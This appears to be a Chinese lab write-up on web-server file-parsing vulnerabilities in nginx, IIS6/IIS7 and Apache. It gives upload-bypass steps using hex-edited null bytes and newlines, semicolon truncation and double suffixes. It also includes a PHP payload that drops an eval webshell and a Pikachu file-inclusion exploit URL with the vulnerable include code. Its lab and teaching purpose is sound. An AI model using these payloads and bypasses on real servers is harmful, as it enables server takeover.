文件解析漏洞靶场解析全集详解

目录

nginx_parsing

利⽤条件

靶场实例

步骤

nginx的00截断解析漏洞

靶场实例

步骤

iis6的目录解析漏洞

原理:

步骤

iis6的分号截断解析漏洞

原理:

步骤

iis6的畸形后缀解析

原理:

步骤

iis7的phpcgi解析漏洞

原理

利用条件

步骤

apache的从右往左解析漏洞

原理

步骤

apache的多后缀解析漏洞

原理

步骤

apache的0a换行解析漏洞

原理

步骤


nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

利⽤条件

Nginx <=0.8.37

cgi.fix_pathinfo=1


靶场实例

vulhub-master

步骤

下载解压靶场,找到nginx

配置中出现上面报错检查docker-compose.yml内容(版本号)

检查端口号

提交我们的木马

得到文件地址访问,在后面加上.php即可(为方便展示木马换成了phpinfo())

nginx的00截断解析漏洞

利⽤条件

Nginx <=0.8.37

cgi.fix_pathinfo=1

靶场实例

vulhub-master

步骤

上传jpg木马前拦截抓包

在2.jpg后加两个空格.php,点开hex,找到20,20改为20,00

发送后即可 上传成功,然后访问这个文件(2.jp后面抓包补齐)

同样补全文件名,点开hex,找到20,20改为20,00

放行即可得到

iis6的目录解析漏洞

原理:

.asp目录中的所有文件都会被当做asp文件执行

步骤

在2.asp文件夹下兴建1.jpg文件输入如下内容

在外面浏览器访问

iis6的分号截断解析漏洞

原理:

分号起到截断的效果

步骤

创建3.txt,编辑好后改名3.asp;.txt

外面访问即可

iis6的畸形后缀解析

原理:

(.asa/.cer/.cdx的文件都会被当做asp文件执行)

步骤

后缀改为.jpg

依旧可以访问

iis7的phpcgi解析漏洞

原理

在文件末尾 加上 /.php,文件就会被当做php文件

利用条件

1.php.ini里的cgi.fix_pathinfo=1 开启
2.lIS7在Fast-CGl运行模式下

步骤

步骤⼀:安装IIS后在安装PHPstudy for IIS
步骤⼆:配置 php.ini 文件,将 cgi.fix_pathinfo=1 的; 取消掉...并重启
步骤三:IIS --》 配置网站--》 处理程序映射--》 PHPStudy_FastCGI --》 请求限制 --》取消勾选

根目录下编辑文件

访问即可

apache的从右往左解析漏洞

原理

apache的解析规则是从右往左,右边的不认识会往左递归

步骤

文件名为 test.php.jpg,Apache 可能会忽略 .jpg,将其解析为 .php 文件并执行其中的 PHP 代码。

apache的多后缀解析漏洞

原理

apache会为不同的后缀执行不同的指令(和上面类似)

步骤

访问靶机并上传 shell.php.jpg ⽂件,⽂件内容为
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

访问生成的webshell即可

apache的0a换行解析漏洞

原理

在文件末尾加上空格,空格的20改成0a,访问文件的时候加上%0a

步骤

和上面类似,在抓包修改是把20,20改为20,0a

发送后得到

### Pikachu平台中的文件包含漏洞原理及利用方式 #### 背景介绍 Pikachu是一个用于学习Web安全靶场平台,其中包含了多种常见的Web漏洞供用户研究和实践。文件包含漏洞是其中一个重要的模块,它主要涉及PHP等动态脚本语言的功能特性。 --- #### 文件包含漏洞的定义与分类 文件包含漏洞是指应用程序通过某些输入参数来决定要加载哪个文件时,未能充分验证这些参数的有效性和安全性,从而可能导致恶意文件被加载并被执行的情况。根据目标文件的位置不同,这种漏洞可分为两类: - **本地文件包含(Local File Inclusion, LFI)** 攻击者可以通过此漏洞访问服务器上的任何可读文件,包括但不限于配置文件、日志文件以及源代码文件[^3]。 - **远程文件包含(Remote File Inclusion, RFI)** 如果应用允许从外部URL加载资源,则可能使攻击者成功注入自己的恶意脚本到受害者的环境中执行。 对于Pikachu平台而言,在`fi_local.php`页面存在典型的LFI场景。 --- #### Pikachu中文件包含漏洞的具体实现细节 ##### 页面逻辑分析 在Pikachu项目下的路径 `/vul/fileinclude/fi_local.php` 中实现了简单的文件包含功能。其核心代码片段大致如下所示: ```php <?php if (isset($_GET['filename'])) { $file = $_GET['filename']; include($file); // 直接将用户提交的内容作为文件名进行包含 } ?> ``` 上述代码未对 `$file` 参数做严格校验或过滤处理,使得攻击者可以自由操控 `$_GET['filename']` 的值指向其他合法或者非法的目标位置[^1]。 --- #### 利用流程详解 以下是基于已知条件完成一次完整的攻击链路描述: 1. **准备阶段** - 构造一张带有隐藏Shell命令的图片木马(例如命名为`shell.jpg`),并将该文件上传至服务端目录下某个特定区域(如`uploads/`)。这一步依赖于另一个存在的文件上传缺陷[^4]。 2. **触发阶段** - 使用精心构造好的请求向量去调用目标接口,并指定待解析的对象为刚才存储下来的图像载体。例如: ``` http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/11/29/5326166385b74ff01e3044955456.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 ``` 3. **结果反馈** - 当服务器尝试解释这个特殊格式的数据结构时,实际上已经按照预设规则启动了一个后台进程监听器等待进一步指令下达。 最终效果表现为获得了一条通往内部网络空间的新通道以便后续深入探索活动开展。 --- #### 防护建议 针对此类安全隐患应当采取以下几项预防措施加以规避风险: 1. 对所有来自客户端的数据均需经过细致审查后再投入使用; 2. 关闭不必要的危险选项设置比如关闭 PHP 配置项 `allow_url_fopen`, `allow_url_include`; 3. 实施严格的白名单机制限定只允许加载预先设定范围内的可信文档列表. ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值